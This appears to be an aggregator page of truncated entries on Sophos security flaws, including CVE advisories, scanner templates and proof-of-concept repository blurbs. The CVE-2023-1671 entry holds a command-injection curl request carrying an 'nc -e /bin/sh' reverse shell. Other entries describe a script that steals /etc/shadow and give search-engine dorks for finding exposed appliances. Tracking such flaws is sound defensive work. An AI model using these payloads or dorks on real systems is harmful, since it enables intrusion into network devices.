Sophos Mobile managed on-premises - XML External Entity Injection

An XML External Entity XXE vulnerability allows server-side request forgery SSRF and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4. id: CVE-2022-3980 info: name: Sophos Mobile managed on-premises - XML External Entity Injection author: dabla...

IoCs

IoCs Sophos-originated indicators-of-compromise from published reports /@&&@ . @ @ %@%, ./&@@&@@@@ @@ @%&@@& .@, @. @ @% @ && %@ .@@@@. &@&@//@& @/ @ @@ @ %@. ,%@@@@@@@@@&/ ., @% @@ @@,&@@ ,@ .@. @ , @& ,@@@@& .@ @ .@. @ .@ @& @@. %@@% ./. @,...

sophucked

sophucked CVE-2020-25223 RCE PoC, gets reverse shell. Pre-auth. Implemented this quickly as it was needed to unify some threat magnets. Example Use: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to x.x.x.x:80 + connection from x.x.x.x + pop t...

CVE-2026-118633

A path traversal vulnerability allows a remote unauthenticated attacker to execute arbitrary code as root in Sophos UTM all versions after winning a race condition by sustaining repeated attacks for a few minutes when the email proxy is used with scanning enabled. Sophos UTM is end-of-life and th...

CVE-2026-118633

A path traversal vulnerability exists in Sophos UTM (all versions), allowing a remote unauthenticated attacker to achieve arbitrary code execution as root . This is possible by winning a race condition through sustained repeated attacks lasting several minutes when the email proxy is active with ...

EUVD-2026-112361

A path traversal vulnerability allows a remote unauthenticated attacker to execute arbitrary code as root in Sophos UTM all versions after winning a race condition by sustaining repeated attacks for a few minutes when the email proxy is used with scanning enabled. Sophos UTM is end-of-life and th...

CVE-2026-118633

A path traversal vulnerability allows a remote unauthenticated attacker to execute arbitrary code as root in Sophos UTM all versions after winning a race condition by sustaining repeated attacks for a few minutes when the email proxy is used with scanning enabled. Sophos UTM is end-of-life and th...

Sophos-Vulnerability

Analysis of Vulnerability CVE-2022-1040 Sophos RCE In the research group Toasec, dedicated to offensive cybersecurity, we took on the task of analyzing this vulnerability in Sophos firewalls. This vulnerability, like many others, can be reported and found if you know how to search on Twitter, whe...

CVE-2023-1671-POC

Dork fofa title="Sophos Web Appliance" || app="Sophos-Web-Appliance" && title!="Sophos Web Appliance：错误请求" ZoomEye title:"Sophos Web Appliance"-title:"Sophos Web Appliance: Forbidden"-title:"Sophos Web Appliance: Bad Request" Shodan title:"Sophos Web Appliance" Usage python CVE-2023-1671-POC.py -...

CVE-2021-36808

CVE-2021-36808 A local attacker could bypass the app password using a race condition in Sophos Secure Workspace for Android before version 9.7.3115. Advisory: https://www.sophos.com/en-us/security-advisories/sophos-sa-20211029-ssw-pw-bypass Write Up:...

CVE-2022-1040

CVE-2022-1040 Here is the Sophos exploit found on 2022-08-04 working on version 17.0.10 MR-10...

CVE-2022-1040

CVE-2022-1040 : Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication ☕️ Live : ....... updated...

CVE-2023-1671

CVE-2023-1671 Pre-Auth RCE in Sophos Web Appliance Poc curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header,...

CVE-2020-25223

CVE-2020-25223 A PoC script for testing CVE-2020-25223 against an affected Sophos UTM. Given an IP address, the script attempts to download a copy of the devices /etc/shadow file. Original research: https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223...

Sophos Web Appliance - Remote Code Execution

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code. id: CVE-2023-1671 info: name: Sophos Web Appliance - Remote Code Execution author: Co5mos severity: critical description: | A pre-auth...

PT-2026-129128

A path traversal vulnerability allows a remote unauthenticated attacker to execute arbitrary code as root in Sophos UTM all versions after winning a race condition by sustaining repeated attacks for a few minutes when the email proxy is used with scanning enabled. Sophos UTM is end-of-life and th...

cve-2022-1040

Environment In Python Environment3.10 It's strongly recommended to use the virtual environment pip3 install baseproxy python3.10 will raise an AttributeError if the version of pyOpenSSLdownloaded with baseproxy is too low. Reinstalling the latest version will fix it. pip3 uninstall pyOpenSSL pip3...

Sophos UTM Preauth - Remote Code Execution

Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11. id: CVE-2020-25223 info: name: Sophos UTM Preauth - Remote Code Execution author: gy741 severity: critical description: Sophos SG UTMA WebAdmin is susceptibl...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin portal auth bypass and rce all in one script; The vulnerability affects Sophos Firewall v18.5 MR3 18.5.3 and older Mitigation: update to latest version asap https://support.sophos.com/support/s/article/KB-000043853?language=enUS to avoid...

Sophos Firewall <= 19.0 MR1 - Remote Code Execution

Sophos Firewall version v19.0 MR1 and older is vulnerable to code injection in the User Portal and Webadmin, allowing a remote unauthenticated attacker to execute arbitrary code. id: CVE-2022-3236 info: name: Sophos Firewall = 19.0 MR1 - Remote Code Execution author: daffainfo severity: critical...